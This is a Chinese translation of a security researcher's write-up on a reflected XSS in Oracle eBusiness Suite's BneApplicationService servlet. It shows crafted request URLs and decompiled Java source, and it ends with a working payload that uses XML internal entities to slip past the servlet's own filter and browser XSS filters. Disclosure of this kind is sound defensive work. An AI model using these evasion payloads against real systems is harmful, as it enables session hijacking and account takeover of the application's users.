來源:BypassingXSSFiltersusingXMLInternalEntities
原作者:DavidLitchfield (david@davidlitchfield.com)
譯:Holic (知道創宇404安全實驗室)
tl;dr
若 Web 應用在后端處理了一些 XML 文件,而且存在 XSS 漏洞的話,那么或許能使用 XML 實體來繞過常用 web 瀏覽器的 XSS 過濾器,比如Chrome, IE 和 Safari 瀏覽器。同樣在 Firefox 瀏覽器下依然有效,不過顯然它沒有 XSS 過濾器。
繞過常用瀏覽器的 XSS 過濾器
Oracle's eBusiness Suite 12.x 以及更早版本中的 BneApplicationService servlet 存在跨站腳本漏洞,這個最初與外部 XML 實體漏洞(XXE)同時被發現。
如果請求以下的URL:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=XXX
將會得到如下響應:
The following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException -oracle.apps.bne.exception.BneFatalException: XML parse error in file at line 1, character 1.Log File Bookmark: 392699
那么我們可以修改請求把它包裝在一個 XML 標簽中。
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<FOO>XXXXX</FOO>
現在我們會得到以下響應:
he following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException - java.lang.ClassCastException:oracle.xml.parser.v2.XMLText cannot be cast to oracle.xml.parser.v2.XMLElementLog File Bookmark: 60280?8
因此我們需要弄清楚在后端的類中發生了什么。如果看源代碼的話,我們將會發現在createBodyBneStyle方法中如下內容:
XMLDocument localXMLDocument = BneXMLDomUtils.parseString(this.m_messagesXML);
XMLElement localXMLElement1 =
(XMLElement)localXMLDocument.getDocumentElement();
NodeList localNodeList = localXMLElement1.getChildNodes();
for (int i = 0; i < localNodeList.getLength(); i++)
{
String str1 = "";
String str2 = "";
String str3 = "";
String str4 = null;
String str5 = null;
Node localNode = null;
XMLElement localXMLElement2 = (XMLElement)localNodeList.item(i);
NamedNodeMap localNamedNodeMap = localXMLElement2.getAttributes();
localNode = localNamedNodeMap.getNamedItem("bne:type");
if (localNode != null) {
str1 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem( b"ne:text "); if (localNode != null) {
str2 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:value");
if (localNode != null) {
str3 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem( b"ne:cause "); if (localNode != null) {
str4 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:action");
if (localNode != null) {
str5 = localNode.getNodeValue();
}
if ((!str1.equalsIgnoreCase("DATA")) && (str2 != ""))
{
localStringBuffer.append("<p><b>" + str2 + "</b></p>"); localStringBuffer.append("<p>" + str4 + "</p>");
我們可以看到,如果我們設置 bne:text的值不是詞'data‘,那么它和 bne:cause的值將會返回給瀏覽器。這便允許我們創建一條不存在解析錯誤的查詢字符串:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo"%
20bne:text="ABCDEF" bne:cause="GHIJKL"></bne:a ></message>

我們馬上能看到這是很容易產生 XSS 的。我們簡單地試一下;我們發送 <IMG SRC=/x onerror=alert(1)> 看看發生了什么:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="<IMG SRC=/x onerror=alert(1)>"></bne:a></message>
Reserved program word
<message><bne:a xmlns:bne="foo" bne:text="ABCDEF"bne:cause="<I ...detected.Press the Back button and remove the reserved program word. Contact your system administrator if thevalue cannot be changed
OK,所以 BneApplicationService 是有我們需要繞過的內置 XSS 過濾器的。回想一下我們最初找到的XXE處理漏洞。嘗試使用外部 XML 實體(測試失敗,因此并不受XXE攻擊影響)之后,它啟發我使用內部XML實體繞過 XSS 過濾器。這將會使得我們通過分解成占位符之后重建的方法對攻擊進行偽裝。但我們先看看什么是不被允許的。我們先去掉第一個左尖括號:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="IMG SRC=/x onerror= alert(1)>"></bne:a></message>

Ok, 看來可行。因此繞過 BneApplicationService 內置的過濾器,我們僅需要內部 XML 實體生成左尖括號即可,因此我們天津一個內部實體叫 xxx ,分配給它尖括號的值:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx"<">]>
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml= <?xml version="1.0" encoding=" UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx " <">]>% 3Cmessage><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="&xxx;IMG SRC=/x on error=alert(1)>"></bne:a></message>
我們的 alert(1)并沒有執行,可想而知,因為 Chrome 的XSS過濾器發現了攻擊行為:

那么我們必須繞過 Chrome 的 XSS 過濾器了。我們同樣也可以使用內部XML實體來解決。我們創建 IMG, SRC和error中的one實體。這些實體會被 web 服務器 的XML 解析器處理重組,但不會被 Chrome 當做反射型 XSS 攻擊進行處理。
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<?xml version="1.0" encoding="UT F-8"?><!DOCTYPE DWL [<!ENTITY xxx "<% 22><! ENTITY yyy "IMG"><!ENTITY zzz "SRC "><!ENTITY ppp "one"% 3E]><message><bne: a xmlns:bne="foo" bne:text="ABCDEF" bne:caus e="&xxx;&yyy; &zzz;=/x &ppp;rror=alert(1)>"></bne:a ></message>

在以下瀏覽器測試成功:Firefox version 47, Chrome 51, IE 11, Safari 9.1.1
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/80/